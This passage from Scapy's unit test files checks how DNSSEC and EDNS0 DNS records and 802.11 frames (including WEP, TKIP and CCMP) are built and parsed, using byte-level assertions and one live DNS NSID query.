ttl=28, nextname="www.secdev.org.", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) raw(t) == b'\x05scapy\x06secdev\x03org\x00\x00/\x00*\x00\x00\x00\x1c\x000\x03www\x06secdev\x03org\x00\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3 RR = DNSRRNSEC3(), basic instantiation t = DNSRRNSEC3() raw(t) == b'\x00\x002\x00\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00' = DNSRRRNSEC3(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, iterations=80, saltlength=28, salt=b"\x28\x07", hashlength=31, nexthashedownername="XXX.scapy.secdev.org", typebitmaps=RRlist2bitmap([1,2,3,4,1234])) raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00<\x07\x00\x00P\x1c(\x07\x1fXXX.scapy.secdev.org\x00\x01x\x04\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' + Test NSEC3PARAM RR = DNSRRNSEC3PARAM(), basic instantiation t = DNSRRNSEC3PARAM() raw(t) == b'\x00\x003\x00\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00' = DNSRRRNSEC3PARAM(), check parameters t = DNSRRNSEC3(rrname="scapy.secdev.org.", rclass=42, ttl=28, hashalg=7, flags=80, iterations=80, saltlength=28, salt=b"\x28\x07") raw(t) == b'\x05scapy\x06secdev\x03org\x00\x002\x00*\x00\x00\x00\x1c\x00\x08\x07P\x00P\x1c(\x07\x00' + Test RRSIG RR = DNSRRRSIG(), basic instantiation t = DNSRRRSIG() raw(t) == b'\x00\x00.\x00\x01\x00\x00\x00\x00\x00\x13\x00\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DNSRRRSIG(), check parameters t = DNSRRRSIG(rrname="test.example.com.", type=46, rclass=12, ttl=64, originalttl=2807, keytag=42, signersname="test.rsig", signature="test RSIG") raw(t) == b'\x04test\x07example\x03com\x00\x00.\x00\x0c\x00\x00\x00@\x00&\x00\x01\x05\x00\x00\x00\n\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x04test\x04rsig\x00test RSIG' = DNSRRRSIG(), dissection rrsig = b'\x03isc\x03org\x00\x00.\x00\x01\x00\x00\x96O\x00\x9b\x00\x02\x05\x02\x00\x00\xa8\xc0K-3\xd9K\x05\xa6\xd9\xed6\x03isc\x03org\x00\xac\xb2_I\x9e\xdcU\xca/3\x1c\xdf{\xba\xd5\x80\xb0 \xa4~\x98\x95\xab~\x84\xb2\x1f9\x17#\x7f\xfeP\xb9\xfb\x8d\x13\x19\xd7\x7f\x9e/\x1c\xd7rv<\xc6\xd3\xf1\xae8\rh\xba\x1e\xaa\xe6\xf1\x1e\x1d\xdaS\xd4\\\xfd\xa3`P\xa1\xe0\xa2\x860\xd4?\xb4}j\x81O\x03\xdc&v\x13\xd4(k\xa07\x8f-\x08e\x06\xff\xb8h\x8f\x16j\xe4\xd92\xd2\x99\xc2\xb4' t = DNSRRRSIG(rrsig) t.rrname == b'isc.org.' and t.labels == 2 and t.keytag == 60726 and t.signature[-4:] == b'\xd2\x99\xc2\xb4' + Test DNSKEY RR = DNSRRDNSKEY(), basic instantiation t = DNSRRDNSKEY() raw(t) == b'\x00\x000\x00\x01\x00\x00\x00\x00\x00\x04\x01\x00\x03\x05' and t.sprintf("%flags%") == 'Z' = DNSRRDNSKEY(), check parameters t = DNSRRDNSKEY(rrname="www.secdev.org.", type=42, rclass=12, ttl=1234, rdlen=567, flags=2807, protocol=195, algorithm=66, publickey="strong public key") raw(t) == b'\x03www\x06secdev\x03org\x00\x00*\x00\x0c\x00\x00\x04\xd2\x027\n\xf7\xc3Bstrong public key' = DNSRRDNSKEY(), dissection t = DNSRRDNSKEY(b'\x03dlv\x03isc\x03org\x00\x000\x00\x01\x00\x00\x1bq\x01\t\x01\x01\x03\x05\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a') t.rrname == b"dlv.isc.org." and t.rdlen == 265 and t.sprintf("%flags%") == 'SZ' and t.publickey == b'\x04@\x00\x00\x03\xc72\xef\xf9\xa2|\xeb\x10N\xf3\xd5\xe8&\x86\x0f\xd6<\xed>\x8e\xea\x19\xadm\xde\xb9a\'\xe0\xccC\x08M~\x94\xbc\xb6n\xb8P\xbf\x9a\xcd\xdfdJ\xb4\xcc\xd7\xe8\xc8\xfb\xd27sx\xd0\xf8^I\xd6\xe7\xc7g$\xd3\xc2\xc6\x7f>\x8c\x01\xa5\xd8VK+\xcb~\xd6\xea\xb8[\xe9\xe7\x03z\x8e\xdb\xe0\xcb\xfaN\x81\x0f\x89\x9e\xc0\xc2\xdb!\x81p{C\xc6\xeft\xde\xf5\xf6v\x90\x96\xf9\xe9\xd8`1\xd7\xb9\xcae\xf8\x04\x8f\xe8C\xe7\x00+\x9d?\xc6\xf2o\xd3Ak\x7f\xc90\xea\xe7\x0cO\x01e\x80\xf7\xbe\x8eq\xb1<\xf1&\x1c\x0b^\xfdDdc\xad\x99~B\xe8\x04\x00\x03,t="\xb4\xb6\xb6\xbc\x80{\xb9\x9b\x05\x95\\;\x02\x1eS\xf4p\xfedq\xfe\xfc00$\xe05\xba\x0c@\xabTv\xf3W\x0e\xb6\t\r!\xd9\xc2\xcd\xf1\x89\x15\xc5\xd5\x17\xfej_T\x99\x97\xd2j\xff\xf85b\xca\x8c|\xe9O\x9fd\xfdT\xadL3taK\x96\xac\x13a' + Test DS and DLV RR = DNSRRDS() and DNSRRDLV(), basic instancaition ds = DNSRRDS() dlv = DNSRRDLV(type=43) raw(ds) == raw(dlv) = DNSRRDS(), check parameters t = DNSRRDS(b'\x03isc\x03org\x00\x00+\x00\x01\x00\x01Q(\x00\x182\\\x05\x01\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y') t.rrname == b'isc.org.' and t.keytag == 12892 and t.algorithm == 5 and t.digesttype == 1 and t.digest == b'\x98!\x13\xd0\x8bLj\x1d\x9fj\xee\x1e"7\xae\xf6\x9f?\x97Y' + Test TXT RR = DNSRR(type="TXT") instantiation t = DNSRR(type="TXT", rdata=b"test") assert t.rdata == [b"test"] assert raw(DNSRR(type="TXT", rdata=["hello", "DNS", "!"])) == b'\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x0c\x05hello\x03DNS\x01!' = Build DNSRR an = DNSRR(type='AAAA', rdata='2001::1') an = DNSRR(raw(an)) assert an.rdata == '2001::1' = DNSRRR(), check parameters t = DNSRR(b'\x04test\x00\x00\x10\x00\x01\x00\x00\x00\x00\x018\xffScapy is an interactive packet manipulation program that enables you to sniff, mangle, send network packets ; test equipment ; probe and discover networks ; quickly develop new protocols. It can easily handle most classical tasks like scanning, tracerout7ing, probing, unit tests, attacks or network discovery.') t.type == 16 and t.rdlen == 312 and t.rdata[0][:5] == b"Scapy" and t.rdata[1][-10:] == b"discovery." + Test DNSRRTSIG RR = DNSRRTSIG basic instantiation t = DNSRRTSIG() raw(t) == b"\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00" = DNSRRTSIG(), check parameters t = DNSRRTSIG(rrname="SAMPLE-ALG.EXAMPLE.", time_signed=853804800, fudge=300) raw(t) == b"\nSAMPLE-ALG\x07EXAMPLE\x00\x00\xfa\x00\x01\x00\x00\x00\x00\x00\x1b\thmac-sha1\x00\x00\x002\xe4\x07\x00\x01,\x00\x14\x00\x00\x00\x00\x00\x00" = TimeField methods packed_data = b"\x00\x002\xe4\x07\x00" assert TimeSignedField("", 0).i2m("", 853804800) == packed_data assert TimeSignedField("", 0).m2i("", packed_data) == 853804800 assert TimeSignedField("", 0).i2repr("", 853804800) == "Tue Jan 21 00:00:00 1997" ================================================ FILE: test/scapy/layers/dns_edns0.uts ================================================ # DNS OPT Resource Record unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/edns0.uts -F + Test EDNS0 rdata = EDNS0TLV(), basic instantiation tlv = EDNS0TLV() raw(tlv) == b'\x00\x00\x00\x00' = EDNS0TLV(), check parameters tlv = EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv") raw(tlv) == b'\x00*\x00\x0cedns0tlv' = EDNS0TLV(), check computed optlen tlv = EDNS0TLV(optdata="edns0tlv") raw(tlv) == b'\x00\x00\x00\x08edns0tlv' = EDNS0TLV(), dissection tlv = EDNS0TLV(b'\x00*\x00\x08edns0tlv') tlv.optcode == 42 and tlv.optlen == 8 and tlv.optdata == b"edns0tlv" + Test OPT RR = DNSRROPT(), basic instantiation opt = DNSRROPT() raw(opt) == b'\x00\x00)\x10\x00\x00\x00\x80\x00\x00\x00' = DNSRROPT(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV()]) raw(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00\x00\x00\x00' = DNSRROPT() & EDN0TLV(), check parameters opt = DNSRROPT(rrname="rropt", type=42, rclass=123, extrcode=1, version=2, z=3, rdlen=4, rdata=[EDNS0TLV(optcode=42, optlen=12, optdata="edns0tlv")]) raw(opt) == b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x04\x00*\x00\x0cedns0tlv' = DNSRROP(), dissection opt = DNSRROPT(b'\x05rropt\x00\x00*\x00{\x01\x02\x00\x03\x00\x0c\x00*\x00\x0cedns0tlv') opt.rrname == b"rropt." and opt.rdlen == 12 and opt.rdata[0].optcode == 42 and opt.rdata[0].optdata == b"edns0tlv" + Test EDNS-PING = EDNS-PING - basic instantiation tlv = EDNS0TLV(optcode=5, optdata=b"\x00\x11\x22\x33") raw(tlv) == b'\x00\x05\x00\x04\x00\x11"3' #= EDNS-PING - Live test #~ netaccess #* NB: 85.17.219.217 and www.edns-ping.org seem down #old_debug_dissector = conf.debug_dissector #conf.debug_dissector = False #r = sr1(IP(dst="85.17.219.217")/UDP()/DNS(qd=[DNSQR(qtype="A", qname="www.edns-ping.org.")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="PING", optdata=b"\x00\x11\x22\x33")])]), timeout=1) #conf.debug_dissector = old_debug_dissector #len(r.ar) and r.ar.rdata[0].optcode == 4 # XXX: should be 5 + Test EDNS-COOKIE = EDNS-COOKIE - basic instantiation tlv = EDNS0TLV(optcode="COOKIE", optdata=b"\x01" * 8) assert tlv.optcode == 10 assert raw(tlv) == b"\x00\x0A\x00\x08\x01\x01\x01\x01\x01\x01\x01\x01" + Test DNS Name Server Identifier (NSID) Option = NSID- basic instantiation tlv = EDNS0TLV(optcode=2, optdata="") raw(tlv) == b'\x00\x02\x00\x00' = NSID - Live test ~ netaccess needs_root def _test(): with no_debug_dissector(): r = sr1(IP(dst="l.root-servers.net")/UDP()/DNS(qd=[DNSQR(qtype="SOA", qname=".")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode="NSID")])]), timeout=1) len(r.ar) and DNSRROPT in r.ar and len(r.ar[DNSRROPT].rdata) and len([x for x in r.ar[DNSRROPT].rdata if x.optcode == 3]) retry_test(_test) + EDNS0 - DAU = Basic instantiation & dissection b = b'\x00\x05\x00\x00' p = EDNS0DAU() assert raw(p) == b p = EDNS0DAU(b) assert p.optcode == 5 and p.optlen == 0 and p.alg_code == [] b = raw(EDNS0DAU(alg_code=['RSA/SHA-256', 'RSA/SHA-512'])) p = EDNS0DAU(b) repr(p) assert p.optcode == 5 and p.optlen == 2 and p.alg_code == [8, 10] + EDNS0 - DHU = Basic instantiation & dissection b = b'\x00\x06\x00\x00' p = EDNS0DHU() assert raw(p) == b p = EDNS0DHU(b) assert p.optcode == 6 and p.optlen == 0 and p.alg_code == [] b = raw(EDNS0DHU(alg_code=['SHA-1', 'SHA-256', 'SHA-384'])) p = EDNS0DHU(b) repr(p) assert p.optcode == 6 and p.optlen == 3 and p.alg_code == [1, 2, 4] + EDNS0 - N3U = Basic instantiation & dissection b = b'\x00\x07\x00\x00' p = EDNS0N3U() assert raw(p) == b p = EDNS0N3U(b) assert p.optcode == 7 and p.optlen == 0 and p.alg_code == [] b = raw(EDNS0N3U(alg_code=['SHA-1'])) p = EDNS0N3U(b) repr(p) assert p.optcode == 7 and p.optlen == 1 and p.alg_code == [1] + EDNS0 - Client Subnet = Basic instantiation & dissection raw_d = b'\x00\x00)\x10\x00\x00\x00\x00\x00\x00\n\x00\x08\x00\x06\x00\x01\x10\x00\xc0\xa8' d = DNSRROPT(z=0, rdata=[EDNS0ClientSubnet()]) assert raw(d) == raw_d d = DNSRROPT(raw_d) assert EDNS0ClientSubnet in d.rdata[0] and d.rdata[0].family == 1 and d.rdata[0].address == "192.168.0.0" raw_d = b'\x00\x00)\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x08\x00\x02 \x00 \x01\r\xb8' d = DNSRROPT(z=0, rdata=[EDNS0ClientSubnet(address="2001:db8::")]) assert raw(d) == raw_d d = DNSRROPT(raw_d) assert EDNS0ClientSubnet in d.rdata[0] and d.rdata[0].family == 2 and d.rdata[0].address == "2001:db8::" + EDNS0 - Cookie = Basic instantiation & dissection b = b'\x00\n\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00' p = EDNS0COOKIE() assert raw(p) == b p = EDNS0COOKIE(b) assert p.optcode == 10 assert p.optlen == 8 assert p.client_cookie == b'\x00' * 8 assert p.server_cookie == b'' b = b'\x00\n\x00\x18\x01\x01\x01\x01\x01\x01\x01\x01\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02' p = EDNS0COOKIE(client_cookie=b'\x01' * 8, server_cookie=b'\x02' * 16) assert raw(p) == b p = EDNS0COOKIE(b) assert p.optcode == 10 assert p.optlen == 24 assert p.client_cookie == b'\x01' * 8 assert p.server_cookie == b'\x02' * 16 + EDNS0 - Extended DNS Error = Basic instantiation & dissection b = b'\x00\x0f\x00\x02\x00\x00' p = EDNS0ExtendedDNSError() assert raw(p) == b p = EDNS0ExtendedDNSError(b) assert p.optcode == 15 and p.optlen == 2 and p.info_code == 0 and p.extra_text == b'' b = raw(EDNS0ExtendedDNSError(info_code="DNSSEC Bogus", extra_text="proof of non-existence of example.com. NSEC")) p = EDNS0ExtendedDNSError(b) assert p.info_code == 6 and p.optlen == 45 and p.extra_text == b'proof of non-existence of example.com. NSEC' rropt = DNSRROPT(b'\x00\x00)\x04\xd0\x00\x00\x00\x00\x001\x00\x0f\x00-\x00\x06proof of non-existence of example.com. NSEC') assert len(rropt.rdata) == 1 p = rropt.rdata[0] assert p.info_code == 6 and p.optlen == 45 and p.extra_text == b'proof of non-existence of example.com. NSEC' p = DNSRROPT(raw(DNSRROPT(rdata=[EDNS0ExtendedDNSError(), EDNS0ClientSubnet(), EDNS0TLV()]))) assert len(p.rdata) == 3 assert all(Raw not in opt for opt in p.rdata) for opt_class in EDNS0OPT_DISPATCHER.values(): p = DNSRROPT(raw(DNSRROPT(rdata=[EDNS0TLV(), opt_class(), opt_class()]))) assert len(p.rdata) == 3 assert all(Raw not in opt for opt in p.rdata) ================================================ FILE: test/scapy/layers/dot11.uts ================================================ % Dot11 regression tests for Scapy ############ ############ + 802.11 ~ dot11 = 802.11 - misc PrismHeader().answers(PrismHeader()) == True dpl = Dot11PacketList([Dot11()/LLC()/SNAP()/IP()/UDP()]) len(dpl) == 1 dpl_ether = dpl.toEthernet() len(dpl_ether) == 1 and Ether in dpl_ether[0] = Dot11 - build s = raw(Dot11()) s == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = Dot11(ID=0x1205) raw_data = raw(pkt) expected = b'\x05\x12' assert raw_data[2:4] == b'\x05\x12', f"Encoded Dot11 ID field is {raw_data[2:4]}, expected {repr(expected)}." = Dot11 - dissection p = Dot11(s) Dot11 in p and p.addr3 == "00:00:00:00:00:00" assert p.mysummary() == '802.11 Management Association Request 00:00:00:00:00:00 (TA=SA) > 00:00:00:00:00:00 (RA=DA)' assert "DA" in p.address_meaning(1) assert "SA" in p.address_meaning(2) assert "BSSID" in p.address_meaning(3) pkt = b'\x00\x00\x05\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' decoded_pkt = Dot11(pkt) assert decoded_pkt.ID == 0x1205, f"Decoded Dot11 ID field is {hex(decoded_pkt.ID)}, expected 0x1205." = Dot11QoS - build s = raw(Dot11()/Dot11QoS(Ack_Policy=1)) assert s == b'\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00' s = raw(Dot11(type=2, subtype=8)/Dot11QoS(TID=4)) assert s == b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00' = Dot11 - binary in SSID pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID=0, info=b"".join(chb(i) for i in range(32))) pkt.show() pkt.summary() assert pkt[Dot11Elt::{"ID": 0}].summary() == "SSID='%s'" % "".join(chr(d) for d in range(32)) pkt = Dot11(raw(pkt)) pkt.show() pkt.summary() assert pkt[Dot11Elt::{"ID": 0}].summary() == "SSID='%s'" % "".join(chr(d) for d in range(32)) = Dot11QoS - dissection p = Dot11(s) assert Dot11QoS in p assert p.TID == 4 assert "DA" in p.address_meaning(1) assert "SA" in p.address_meaning(2) assert "BSSID" in p.address_meaning(3) = Dot11 - answers query = Dot11(type=0, subtype=0) Dot11(type=0, subtype=1).answers(query) == True = Dot11 - misc assert Dot11Elt(info="scapy").summary() == "SSID='scapy'" assert Dot11Elt(ID=1).mysummary() == "" assert Dot11(b'\x84\x00\x00\x00\x00\x11\x22\x33\x44\x55\x00\x11\x22\x33\x44\x55').addr2 == '00:11:22:33:44:55' = Dot11 - type 1 subtype 4, 5, 6 assert raw(Dot11(type=1, subtype=4, addr2="ff:ff:ff:ff:ff:ff")) == b'D\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff' assert raw(Dot11(type=1, subtype=5, addr2="ff:ff:ff:ff:ff:ff")) == b'T\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff' assert raw(Dot11(type=1, subtype=6, addr2="ff:ff:ff:ff:ff:ff", cfe=3)) == b'd0\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff' assert raw(Dot11(type=1, subtype=6, addr2="ff:ff:ff:ff:ff:ff", cfe=6, addr3="aa:aa:aa:aa:aa:aa")) == b'd`\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa' assert Dot11(type=1, subtype=5).address_meaning(1) == 'RA' assert Dot11(type=1, subtype=6, cfe=5).address_meaning(2) == 'TA' assert Dot11(type=1, subtype=6, cfe=6).address_meaning(2) == 'NAV-SA' assert Dot11(type=1, subtype=6, cfe=6).address_meaning(3) == 'NAV-DA' = Multiple Dot11Elt layers pkt = Dot11() / Dot11Beacon() / Dot11Elt(ID="Supported Rates") / Dot11Elt(ID="SSID", info="Scapy") assert pkt[Dot11Elt::{"ID": 0}].info == b"Scapy" assert pkt.getlayer(Dot11Elt, ID=0).info == b"Scapy" = Dot11WEP - build ~ crypto conf.wepkey = "" assert raw(PPI()/Dot11(FCfield=0x40)/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' conf.wepkey = "test123" assert raw(PPI()/Dot11(type=2, subtype=8, FCfield=0x40)/Dot11QoS()/Dot11WEP()) == b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a' = Dot11WEP - dissect ~ crypto conf.wepkey = "test123" a = PPI(b'\x00\x00\x08\x00i\x00\x00\x00\x88@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008(^a') assert a[Dot11QoS][Dot11WEP].icv == 942169697 assert not a[Dot11].FCfield.to_DS = Dot11TKIP - dissection pkt = RadioTap(b'\x00\x00\x0f\x00*\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x08B\x00\x00\xff\xff\xff\xff\xff\xff\xfe\xec\xda\x1d\xa3M\x00\x04t\x14\x02BP+\x01!\x00\xa0\x01!\x00\xa0\x01!\x00\xa0\x00\x00\x00\x00\xb0\xb6sN\xbdl9S\xc3x\x9d\xa6TEp\xcd(\xebht{\xff9\x9a[\x0f~\x00\xf8&m$\x1e\xd2[dXn\x16\x8526G\x8c\x88\xc3B\xc9\xda^\xc5w\xa5 \x9a\xa0 \x08') assert Dot11TKIP in pkt assert pkt[Dot11TKIP].TSC1 == 1 assert pkt[Dot11TKIP].WEPSeed == 33 assert pkt[Dot11TKIP].TSC0 == 0 assert pkt[Dot11TKIP].key_id == 2 assert pkt[Dot11TKIP].ext_iv == 1 assert pkt[Dot11TKIP].res == 0 assert pkt[Dot11TKIP].TSC2 == 1 assert pkt[Dot11TKIP].TSC3 == 33 assert pkt[Dot11TKIP].TSC4 == 0 assert pkt[Dot11TKIP].TSC5 == 160 assert "DA" in pkt[Dot11].address_meaning(1) assert "TA=BSSID" in pkt[Dot11].address_meaning(2) assert "SA" in pkt[Dot11].address_meaning(3) = Dot11CCMP - dissection pkt = RadioTap(b'\x00\x00\x0f\x00*\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x08b\x00\x00\x01\x00^\x7f\xff\xfa\x0e\xec\xda\x1d\xa3M\x00\x0eX7\xbe\xbe\x00\x8aD#\x00\xa0D#\x00\xa0\x00\x00\x00\x00c\xb7\rv/s\x88N;>\x07\x0e\xe5\xd9\xf5\xfa\xcdD\xc2he\xfc\xc5^m\xae\xf2\xfe\xf9\xb06\xce\rt\xbe\x9d(\xb5\x98\x848NU\x0f\x93\x0f]m\xa2\x96\x80{\x95\x00\xb5\x98Y!\xa3^\xfc\xda\xca.R\xf3\xd3\xf8^\xeda\x88\x82p\xc6\xb8L\x0b\x815-\x85(\xb1F\xd5K\x166dJ\xc7\x04B\xdb\xec\x8d\xb7:{\x0f\'g<\x06\xd07>\xde\xad\x08\xcb\xffr\xfa\xf4}o\xe9\xa9b\xa5)\x87\x90\xa5{\xe1\xea\x0f\x0fGf`x1\xbd\xc1\xe8\xa0\xb6(\x05gq\xf3\x99\x9e\x93\xde\'\x8e\nQ\xf7\xad\xf7\x89"\xee\xcf\xe8$\x8a\x9c\xb4\xe6\x03\xab\x9ec\xd0\xd5\x08\xca\xd2\xbb\xae\xcc\x9c$R\xbc\xcdFO?\xc3Ah\x9ch\xd4\x9b)m\xea\xbab+\'\x06I2\xb5!\xdb\x03\xbe\xb8\xb2\x86\x0f\x80\n\xbc\x85\x02\xb4T\x00\x00\xc7|\xac\xc0B\xb2\x89\xbb\xc5\xc0\x93\x858\xe3Q\xf9\t\xff4\xdb\x9a>\xe5O-e\x16\x81w!9m\xb9dZ\xaa\xaa0\x9cW\xaa\xa3\xf1\xdd\xecW\xdd\xc41D\xe6\xba\xf3SQ\x81S\xf6\xbd\xe3\xc0e\xba\xa0*\x15%\x9cz0\xa8\xa6l\x8e\x0c(\xd3\xe4\xa2\xf9\xc2:Yae#T\x8d\xef\x01\xfad\x05/\xdb\xf2!D\xde~\x0f\x99\xf6U\xf5\xbf\xd0\xaf\xbe0\xf7\xf03\xa8s`\x8d>4\x98\xb5Y\x06dXFz\x88\x82\'B\x84\xe6\xca\x05\x02\xd5G\xb6\x11\xed <\xb1\xd4\xc9\xa9\xaa\xae\xc9\xb3g\xbc\xfd+\xe7\x1aG\x92\x17\xdb\xce\xf7\x843\xce4\xc4w\x8f\x8a\x83\xf0\'\xfe\x87\x14\x95\xd3\x0bM\xbaL$\xc8\x8d\' 8\x87c 3yt\xc5\xeeN\xc9\xe1\x95\x1d\xe9\xddh\x87E\x07\xe5\x86\xc7\x82\x8a\x88\x05\xa4\x06\xb1\x0c\xddV\xd0\xf0d\xc8\xcet`\xc5C\xcb\x8f\x06]A\x92\x1a\xae5wc\x8dN\xa2\xf0}aJ\x9c\x8e\xd1\xb2[*\xffK\x0f\xf8u\xd5\x84#\xc3"\xffX\x9f\xffC\x0fb\x02n\x1b\xbaAr\x93\xe1\xb7\x1f\x8e\x1c\xfev]w\xaa\xcch\x8c{lm\xb9\x9aE\x08\x1d\xc28u\x82\xa8\xbe\xf2\xb3\x11\xdc\x90 \x83\xa7\x9c*:\x01R\xcf\xd6\xc6~\x989\x9a5\xc97\xfa\x10\xe4!uEP\x968\x00*\xd0\xefE\xf8{\x1d(\xcb\xe3IR\\r\xee\x9fU\x14\ty\xe3\xdc\x96@\xf4\x8d\x17\xab\xcc\x98I\x8e\xe16\x9e\xa5+\xe0\xa8{S\x051##\x90:A') assert Dot11CCMP in pkt assert pkt[Dot11CCMP].PN0 == 68 assert pkt[Dot11CCMP].PN1 == 35 assert pkt[Dot11CCMP].res0 == 0 assert pkt[Dot11CCMP].key_id == 2 assert pkt[Dot11CCMP].ext_iv == 1 assert pkt[Dot11CCMP].res1 == 0 assert pkt[Dot11CCMP].PN2 == 68 assert pkt[Dot11CCMP].PN3 == 35 assert pkt[Dot11CCMP].PN4 == 0 assert pkt[Dot11CCMP].PN5 == 160 = Dot11 - answers a = Dot11()/Dot11Auth(seqnum=1) b = Dot11()/Dot11Auth(seqnum=2) assert b.answers(a) assert not a.answers(b) assert not (Dot11()/Dot11Ack()).answers(Dot11()) assert (Dot11()/LLC(dsap=2, ctrl=4)).answers(Dot11()/LLC(dsap=1, ctrl=5)) # SAE a = Dot11()/Dot11Auth(algo=3, seqnum=1) # non-AP STA --> AP STA COMMIT b = Dot11()/Dot11Auth(algo=3, seqnum=1) # AP STA --> non-AP STA COMMIT c = Dot11()/Dot11Auth(algo=3, seqnum=2) # non-AP STA --> AP STA CONFIRM d = Dot11()/Dot11Auth(algo=3, seqnum=2) # AP STA --> non-AP STA CONFIRM e = Dot11()/Dot11Auth(algo=0, seqnum=1) assert b.answers(a) assert c.answers(b) assert d.answers(c) assert not a.answers(e) assert not c.answers(e) assert not e.answers(a) assert not e.answers(c) = Dot11Beacon network_stats() data = b'\x00\x00\x12\x00.H\x00\x00\x00\x02\x8f\t\xa0\x00\x01\x01\x00\x00\x80\x00\x00\x00\xff\xff\xff\xff\xff\xffDH\xc1\xb7\xf0uDH\xc1\xb7\xf0u\x10\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x90\x01\x11\x00\x00\x06SSID76\x01\n\x82\x84\x0c\x12\x18$0H`l\x03\x01\x080\x18\x01\x00\x00\x0f\xac\x04\x02\x00\x00\x0f\xac\x04\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02\x0c\x00\x07\tUSI\x01\x18\x00\n\x05\xe7' pkt = RadioTap(data) nstats = pkt[Dot11Beacon].network_stats() nstats assert nstats == { 'channel': 8, 'crypto': {'WPA2/PSK'}, 'rates': [1.0, 2.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0], 'ssid': 'SSID76', 'country': 'US', 'country_desc_type': 'Indoor' } data = 